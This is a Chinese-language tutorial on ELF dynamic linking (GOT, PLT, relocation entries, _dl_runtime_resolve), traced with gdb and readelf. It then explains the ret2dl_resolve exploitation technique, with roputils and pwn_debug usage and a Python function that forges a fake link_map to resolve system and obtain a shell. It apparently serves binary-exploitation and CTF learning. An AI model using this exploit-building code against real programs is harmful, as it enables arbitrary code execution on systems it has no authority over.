About GOT and PLT
为了了解GOT
和PLT
,首先要知道关于PIC
的知识,Position Independent Code(PIC)
是为了是为了重定位动态链接库的symbols
,现代操作系统不允许修改代码段,只能修改数据段,而使用了动态链接库后函数地址只有在执行时才能确定,所以程序内调用的库中的函数地址在编译时不知道,所以,编译时将函数调用返回.data
段,而包含PIC
的程序在运行时需要更改.data
段中的GOT
和PLT
来重定位全局变量。
Global Offset Table
,也就是GOT
表为每个全局变量保存了入口地址,在调用全局变量时,会直接调用对应GOT
表条目中保存的地址,而不调用绝对地址。
Procedural Linkage Table
,也就是PLT
是过程链接表,为每个全局变量保存了一段代码,第一次调用一个函数会调用形如function@PLT
的函数,这就是跳到了函数对应的PLT
表开头执行,会解析出函数真正的地址填入GOT
表中,以后调用时会从GOT
表中取出函数真正的起始地址执行,下面给一张我自己做的调用流程图。
Environment
Copy root @ VirtualBox : ~/ Desktop$ uname - a
Linux VirtualBox 3.13 . 0 - 32 - generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
root @ VirtualBox : ~/ Desktop$ lsb_release - a
No LSB modules are available .
Distributor ID : Ubuntu
Description : Ubuntu 12.04 . 5 LTS
Release : 12.04
Codename : precise
root @ VirtualBox : ~/ Desktop$ gcc - v
gcc version 4.6 . 3 (Ubuntu / Linaro 4.6 . 3 - 1ubuntu5)
测试代码:
Copy //test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main () {
printf( "aaa" ) ;
char* s = ( char * ) malloc( 300 ) ;
char* s1 = ( char* ) malloc( 248 ) ;
void* a = malloc( 0x 20 ) ;
free(a) ;
free(s) ;
free(s1) ;
malloc( 100 ) ;
malloc( 200 ) ;
return 0 ;
}
编译链接:
Copy root @ VirtualBox : ~/ Desktop$ gcc - g test . c - o test
Something about .dynamic
ELF的.dynamic section
里包含了和重定位有关的很多信息,完整的.dynamic
段:
Copy root @ VirtualBox : ~/ Desktop$ readelf - d test
Dynamic section at offset 0x f28 contains 20 entries :
Tag Type Name / Value
0x 00000001 (NEEDED) Shared library : [libc . so . 6]
0x 0000000c (INIT) 0x 80482f4
0x 0000000d (FINI) 0x 804857c
0x 6ffffef5 (GNU_HASH) 0x 80481ac
0x 00000005 (STRTAB) 0x 804823c
0x 00000006 (SYMTAB) 0x 80481cc
0x 0000000a (STRSZ) 88 ( bytes )
0x 0000000b (SYMENT) 16 ( bytes )
0x 00000015 (DEBUG) 0x 0
0x 00000003 (PLTGOT) 0x 8049ff4
0x 00000002 (PLTRELSZ) 40 ( bytes )
0x 00000014 (PLTREL) REL
0x 00000017 (JMPREL) 0x 80482cc
0x 00000011 (REL) 0x 80482c4
0x 00000012 (RELSZ) 8 ( bytes )
0x 00000013 (RELENT) 8 ( bytes )
0x 6ffffffe (VERNEED) 0x 80482a4
0x 6fffffff (VERNEEDNUM) 1
0x 6ffffff0 (VERSYM) 0x 8048294
0x 00000000 (NULL) 0x 0
GOT
表分成两部分.got
和.got.plt
,前一个保存全局变量引用位置,后一个保存函数引用位置,通常说的GOT
指后面一个,下文GOT即代表.got.plt
。
GOT
表的起始地址:
Copy root @ VirtualBox : ~/ Desktop$ readelf - d test | grep GOT
0x 00000003 (PLTGOT) 0x 8049ff4
GOT
表的前三项有特殊含义:
Copy gdb - peda$ x / 3x 0x 8049ff4
0x 8049ff4 < _GLOBAL_OFFSET_TABLE_ > : 0x 08049f28 0x b7fff918 0x b7ff2650
gdb - peda$ x / i 0x b7ff2650
0x b7ff2650 < _dl_runtime_resolve > : push eax
gdb - peda$ x / x 0x 08049f28
0x 8049f28 < _DYNAMIC > : 0x 00000001
gdb - peda$ x / x 0x b7fff918
0x b7fff918 : 0x 00000000
第一项是.dynamic
段的地址,第二个是link_map
的地址,第三个是_dl_runtime_resolve
函数的地址,第四项开始就是函数的GOT
表了,第一项就是printf
条目:
Copy gdb - peda$ x / x 0x 8049ff4 +0x c
0x 804a000 < printf @ got . plt > : 0x 08048346
PLTRELSZ
指定了.rel.plt
大小,RELENT
指定每一项大小,PLTREL
指定条目类型为REL
,JMPREL
对应.rel.plt
地址,保存了重定位表,保存的是结构体信息:
Copy root @ VirtualBox : ~/ Desktop$ readelf - d test | grep REL
0x 00000002 (PLTRELSZ) 40 ( bytes )
0x 00000014 (PLTREL) REL
0x 00000017 (JMPREL) 0x 80482cc
0x 00000011 (REL) 0x 80482c4
0x 00000012 (RELSZ) 8 ( bytes )
0x 00000013 (RELENT) 8 ( bytes )
REL
的数据结构为:
Copy typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
#define ELF32_R_SYM (val) ((val) >> 8 )
#define ELF32_R_TYPE (val) ((val) & 0x ff )
r_offset
就是对应函数GOT
表地址,看看.rel.plt
第一项和第二项:
Copy gdb - peda$ x / 2x 0x 80482cc
0x 80482cc : 0x 0804a000 0x 00000107
gdb - peda$ x / 2x 0x 80482cc +0x 8
0x 80482d4 : 0x 0804a004 0x 00000207
再看:
Copy root @ VirtualBox : ~/ Desktop$ readelf - r test
Relocation section '.rel.dyn' at offset 0x 2c4 contains 1 entries :
Offset Info Type Sym . Value Sym . Name
08049ff0 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x 2cc contains 5 entries :
Offset Info Type Sym . Value Sym . Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf
0804a004 00000207 R_386_JUMP_SLOT 00000000 free
0804a008 00000307 R_386_JUMP_SLOT 00000000 malloc
0804a00c 00000407 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a010 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main
分别和printf
与free
对应,0x0804a000
处就是printf
的GOT
表地址。
根据宏定义,由r_info=0x107
可以知道ELF32_R_TYPE(r_info)=7
,对应于R_386_JUMP_SLOT
;其symbol index
则为RLF32_R_SYM(r_info)=1
还有一个需要注意的就是字符串表,保存了一些符号表,在重定位时会用到:
Copy root @ VirtualBox : ~/ Desktop$ readelf - d test | grep STRTAB
0x 00000005 (STRTAB) 0x 804823c
查看:
Copy gdb - peda$ x / 10s 0x 804823c
0x 804823c : ""
0x 804823d : "__gmon_start__"
0x 804824c : "libc.so.6"
0x 8048256 : "_IO_stdin_used"
0x 8048265 : "printf"
0x 804826c : "malloc"
0x 8048273 : "__libc_start_main"
0x 8048285 : "free"
0x 804828a : "GLIBC_2.0"
0x 8048294 : ""
How ELF relocation works
在第一次call 0x8048340 <printf@plt>
时会跳到PLT
段中,第一句会跳到GOT
条目指向的地址:
Copy gdb - peda$ x / x 0x 804a000
0x 804a000 < printf @ got . plt > : 0x 08048346
gdb - peda$ b *0x 08048346
Breakpoint 2 at 0x 8048346
gdb - peda$ c
第一次调用函数时,GOT
表中的地址为PLT
表的第二句地址:
Copy 0x8048340 <printf@plt>: jmp DWORD PTR ds:0x804a000
=> 0x8048346 <printf@plt+6>: push 0x0
0x804834b <printf@plt+11>: jmp 0x8048330
↓
=> 0x804834b <printf@plt+11>: jmp 0x8048330
| 0x8048350 <free@plt>: jmp DWORD PTR ds:0x804a004
| 0x8048356 <free@plt+6>: push 0x8
| 0x804835b <free@plt+11>: jmp 0x8048330
| 0x8048360 <malloc@plt>: jmp DWORD PTR ds:0x804a008
|-> 0x8048330: push DWORD PTR ds:0x8049ff8
0x8048336: jmp DWORD PTR ds:0x8049ffc
0x804833c: add BYTE PTR [eax],al
0x804833e: add BYTE PTR [eax],al
↓
=> 0x8048336: jmp DWORD PTR ds:0x8049ffc
| 0x804833c: add BYTE PTR [eax],al
| 0x804833e: add BYTE PTR [eax],al
| 0x8048340 <printf@plt>: jmp DWORD PTR ds:0x804a000
| 0x8048346 <printf@plt+6>: push 0x0
|-> 0xb7ff2650 <_dl_runtime_resolve>: push eax
先push reloc_offset
,这里是0,再push link_map
,也就是GOT
表的第二项,再调用_dl_runtime_resolve
函数。
_dl_runtime_resolve
根据reloc_offset
找到.rel.plt
段中的结构体:
Copy Elf32_Rel * p = JMPREL + rel_offset;
p的内容 :
0x 80482cc : 0x 0804a000 0x 00000107
r_info
为0x107
。
然后根据ELF32_R_SYM(r_info)
找到.dynsym
中对应的结构体:
Copy Elf32_Sym * sym = SYMTAB [ ELF32_R_SYM (p->r_info)]
=> sym = SYMTAB [ 1 ]
.dynsym
有关的信息为:
Copy root @ VirtualBox : ~/ Desktop$ readelf - d test | grep SYM
0x 00000006 (SYMTAB) 0x 80481cc
0x 0000000b (SYMENT) 16 ( bytes )
其实地址为0x80481cc
,每个结构体大小为16bytes
,
结构体为:
Copy typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
所以SYMTAB[1]
为0x80481cc+16
:
Copy gdb - peda$ x / 5wx 0x 80481cc + 16
0x 80481dc : 0x 00000029 0x 00000000 0x 00000000 0x 00000012
0x 80481ec : 0x 00000049
然后根据sym->st_name
=0x29在.dynstr
中,也就是STRTAB
找到函数对应的字符串:
Copy gdb - peda$ x / s 0x 804823c +0x 29
0x 8048265 : "printf"
根据函数名字找到对应的地址,填入GOT
表对应的位置,跳到函数起始地址执行,执行完后,printf
对应的GOT
表处已经填上了函数真正的地址:
Copy gdb - peda$ x / x 0x 0804a000
0x 804a000 < printf @ got . plt > : 0x b7e6b8a0
Python Libraries
可借用一些库来生成伪造的符号信息
32位构造使用方法:
以前被人们使用频率最高的是roputils库,他的ROP里面的子方法dl_resolve_data
与dl_resolve_call
,可以生成伪造符号信息与call时的reloc偏移
使用方法:
Copy import roputils
rop = roputils . ROP ( './bianry' )
dl_resolve_data = rop . dl_resolve_data (base_addr,call_name_str)
dl_resolve_call = rop . dl_resolve_call (dl_resolve_data_addr, arg_addr)
dl_resolve_data
有两个参数,base_addr
它声明了生成的dl_resolve_data
数据的地址,因为我们接下来就要想办法将生成的dl_resolve_data
数据写入这个地址。call_name_str
是你想要调用函数名的字符串。
dl_resolve_call
就是生成劫持地址plt[0],及reloc参数,和call参数一个plt_call_gadget
,它的第一个参数是dl_resolve_data
数据的地址,第二个参数是你想调用函数的参数的地址。
缺陷 :roputils库没能很好的设置reloc->r_info
,这会使得ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff
偏大,在有些情况下会导致version = &l->l_versions[ndx]
出现访存错误,下面介绍的pwndbg库解决了这个问题,它伪造的reloc->r_info,使得ndx为0,即vernum[reloc->r_info]为0。
64位构造使用方法:
Copy const struct r_found_version * version = NULL ;
if (l -> l_info[ VERSYMIDX (DT_VERSYM)] != NULL ) // [r10+0x1c8] != 0
{
const ElfW(Half) * vernum = ( const void * ) D_PTR (l , l_info[VERSYMIDX (DT_VERSYM)]) ;
ElfW(Half) ndx = vernum[ ELFW (R_SYM) ( reloc -> r_info)] & 0x 7fff ;
version = & l -> l_versions[ndx];
if ( version -> hash == 0 )
version = NULL ;
}
由于64位程序的利用需要往link_map+0x1c8的位置写0,所以直接避免了了32位程序用roputils库构造的r_info缺陷。
构造的话和之前的脚本代码一样,roputils.ROP方法自动识别程序架构,唯一不同的是dl_resolve_call
函数的参数只有一个,没有调用函数的参数,因为调用函数的参数需要你用寄存器传递。
早期有人说这种利用方法很鸡肋:“使得l->l_info[VERSYMIDX (DT_VERSYM)] != NULL这句话不成立来绕过该段代码,即使得l->l_info[VERSYMIDX (DT_VERSYM)]等于NULL,即使得(link_map + 0x1c8) 处为 NULL。这就使问题变成了往link_map写空值,由于link_map在ld.so中,还需要通过got表泄露其地址。因此实现64位的上述方法的ret2dl_resolve,需要泄露与地址写两个漏洞,如果有这两个漏洞我们应该可以使用更轻松的方法来get shell,因此价值不大。”
但是那些人忘了,在完全很冷门glibc的远程环境下,你能泄露地址你也不一定得出一些有用信息,你也猜不出函数偏移,所以我们只能利用这一种方式来getshell。
这是raycp
师傅根据pwntools写的一个库(此处膜拜),它不仅提供了32位完美的dl_resolve
数据伪造,还提供了64位程序ret2dl_resolve
攻击的link_map
伪造。
32位构造使用方法:
Copy from pwn_debug import *
pdbg = pwn_debug ( "./binary" )
pdbg . local ()
p = pdbg . run ( "local" )
dl = pdbg . ret2dl_resolve ()
correct_addr , resolve_data , resovle_call = dl . build_normal_resolve ( base_addr , call_name_str , resolve_target)
下面解释一下,这个库好像必须调用run方法才能使用ret2dl_resolve()
.....这里先不管能用就行......
dl=pdbg.ret2dl_resolve()
是初始化一个对象,可以去研究一下源码,功能是识别binary的架构。
dl.build_normal_resolve( base_addr , call_name_str , resolve_target)
关键是这串代码,第一个参数是一个base地址,build_normal_resolve
方法根据这个地址微调,这是为了构造ndx=0,寻找正确的symbol_index
,最后返回一个被修正后的correct_addr
。它的返回值有三个,后两个都是构造好的数据。
我们最后使用的时候,要将得到的resolve_data
数据写入到被修正后的correct_addr
地址中,它返回的resovle_call
是一个plt_call_gadget
但他不同于roputils生成的,因为他没有把参数封装进去,我们需要自己设置call的参数。
另外build_normal_resolve
方法的第三个参数resolve_target
是程序成功执行dl-resolve执行完我们想要call的函数后,这个地址会被写入 被执行函数的真实地址(虽然普通pwn下没什么用...)。
可见使用这个库一切都变得controllable
64位构造使用方法:
在这之前先说说64位下的dl_runtime_resolve
利用,因为64位程序bss段的位置离符号信息段较远,构造的数据一般都是在bss段,如0x601000-0x602000,导致其相对于.dynsym的地址0x400000-0x401000很大,使得reloc->r_info也很大,最后使得访问ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;时程序访存出错,导致程序崩溃,且不可避免。
Copy if ( __builtin_expect ( ELFW (ST_VISIBILITY) (sym -> st_other) , 0 ) == 0 )
{
const struct r_found_version * version = NULL ;
if ( l -> l_info[ VERSYMIDX (DT_VERSYM)] != NULL )
{
const ElfW(Half) * vernum =
( const void * ) D_PTR (l , l_info[VERSYMIDX (DT_VERSYM)]) ;
ElfW(Half) ndx = vernum[ ELFW (R_SYM) ( reloc -> r_info)] & 0x 7fff ;
version = & l -> l_versions[ndx];
if ( version -> hash == 0 )
version = NULL ;
}
可以看到该段代码还有一个条件if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0),我们是否可构造sym->st_other使它不为空,从而绕过该段代码,我们看假设sym->st_other使它不为空,dl_fixup的代码流程:
Copy _dl_fixup ( struct link_map * l , ElfW (Word) reloc_arg)
{
//获取符号表地址
const ElfW(Sym) *const symtab = ( const void * ) D_PTR (l , l_info[DT_SYMTAB]) ;
//获取字符串表地址
const char * strtab = ( const void * ) D_PTR (l , l_info[DT_STRTAB]) ;
//获取函数对应的重定位表结构地址
const PLTREL *const reloc = ( const void * ) ( D_PTR (l , l_info[DT_JMPREL]) + reloc_offset);
//获取函数对应的符号表结构地址
const ElfW(Sym) * sym = & symtab[ ELFW (R_SYM) ( reloc -> r_info)];
//得到函数对应的got地址,即真实函数地址要填回的地址
void *const rel_addr = ( void * )( l -> l_addr + reloc -> r_offset);
DL_FIXUP_VALUE_TYPE value;
//判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
assert (ELFW(R_TYPE)( reloc -> r_info) == ELF_MACHINE_JMP_SLOT) ;
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if ( __builtin_expect (ELFW(ST_VISIBILITY) ( sym -> st_other) , 0 ) == 0 )
{
...
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l , l -> l_addr + sym -> st_value) ;
result = l;
}
...
// 最后把value写入相应的GOT表条目rel_addr中
return elf_machine_fixup_plt (l , result , reloc , rel_addr , value) ;
}
可以看到当sym->st_other不为0时,会调用DL_FIXUP_MAKE_VALUE,根据代码的注释,该代码认为这个符号已经解析过,直接调用DL_FIXUP_MAKE_VALUE函数赋值。DL_FIXUP_MAKE_VALUE函数的定义如下,直接将l->l_addr + sym->st_value赋值给value:#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)
也可以看到sym等都是从link_map中取出来的,如果我们将控制的目标不设定为reloc_arg,而是伪造第一个参数link_map。如果我们可以控制sym->st_value指向got表中的地址如libc_start_main的got,而l->l_addr为目标地址如system到 libc_start_main的偏移,则最终得到的value会是l->l_addr + sym->st_value即system地址,从而实现无需leak地址的利用,也可执行libc中的任意gadgets。
所以在利用中我们控制的不再是reloc_arg,而是struct link_map *l,假设我们可以覆盖got+4,即link_map的值,指向我们可控的目标。
下面就来说说利用的脚本了:
Copy from pwn_debug import *
pdbg = pwn_debug ( "./binary64" )
pdbg . local ()
p = pdbg . run ( "local" )
libc = ELF ( "libc.so.6" )
elf = ELF ( "binary64" )
offset = libc . symbols [ 'system' ] - libc . symbols [ '__libc_start_main' ]
got_libc_address = elf . got [ '__libc_start_main' ]
dl = pdbg . ret2dl_resolve ()
fake_link_map = dl . build_link_map (fake_addr,reloc_index,offset,got_libc_address)
首先我们需要知道远程服务器glibc版本,没有的话也可以猜猜碰运气,然后算出我们想要执行的gadget距离__libc_start_main
的偏移,build_link_map
方法的参数意思也很明显了,fake_addr
是我们要基于这个位置生成fake_link_map
数据,reloc_index
是我们之后执行plt_call_gadget
对应的reloc
最后利用的时候,我们要将生成的fake_link_map
数据写入fake_addr
地址处,还将要程序link_map_got表(got+4)中的link_map
地址写成fake_addr
地址,最后跳去plt表的push reloc
指令地址处执行,之前要构造好参数,最后进入dl_runtime_resolve
函数,根据link_map解析到调用函数,getshell.
把pwn_debug里面的fake_link_map
功能函数抠出来,可单独使用,脚本如下:
Copy def build_link_map ( fake_addr , reloc_index , offset , got_libc_address ):
fake_link_map = p64 (offset)
fake_link_map = fake_link_map . ljust ( 0x 10 , '\x00' )
fake_link_map = fake_link_map . ljust ( 0x 30 , '\x00' )
target_write = fake_addr +0x 28
fake_jmprel = p64 (target_write - offset) ## offset
fake_jmprel += p64 ( 7 )
fake_jmprel += p64 ( 0 )
fake_link_map += fake_jmprel
fake_link_map = fake_link_map . ljust ( 0x 68 , '\x00' )
fake_link_map += p64 (fake_addr) # DT_STRTAB
fake_link_map += p64 (fake_addr +0x 78 - 8 ) #fake_DT_SYMTAB
fake_link_map += p64 (got_libc_address - 8 ) # symtab_addr st->other==libc_address
fake_link_map += p64 (fake_addr +0x 30 -0x 18 * reloc_index)
fake_link_map = fake_link_map . ljust ( 0x f8 , '\x00' )
fake_link_map += p64 (fake_addr +0x 80 - 8 ) #fake_DT_JMPREL
return fake_link_map
Related Links
如何在32位系统中使用ROP+Return-to-dl来绕过ASLR+DEP
在64位系统中使用ROP+Return-to-dl-resolve来绕过ASLR+DEP
ret2dl_resolve解析
roputils.pyc文件
pwn_debug库